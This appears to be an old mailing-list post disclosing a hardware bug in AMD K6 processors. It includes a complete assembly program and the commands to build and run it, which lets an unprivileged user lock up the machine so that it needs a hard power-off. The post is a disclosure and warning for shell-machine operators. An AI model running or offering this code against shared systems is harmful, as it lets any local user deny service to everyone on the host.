There's a specific posted piece of code that locks K6 (but not apparently
K6-2) up. Its well known in the cracker community and you should never
use a K6 for a shell machine. Its akin to the F00F bug except that Intel
published a fix and AMD ignore email and put the phone down on people
who ask about theirs

It was first reported by Wolfgang Walter <[EMAIL PROTECTED]>
in June.


$ cat a.s
        .text
        .align 4096                   /* r1 */
        .globl _start
_start:
        movl   _start, %edi           /* S1 */
        cmpb  0x80000000(%edi),%dl    /* r2, S2 */
        je    nowhere                 /* r3 */
        ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out

[crash]

The crash is so solid the soft power on on ATX boards wont work afterwards
and you'll  need to use the hard switch.
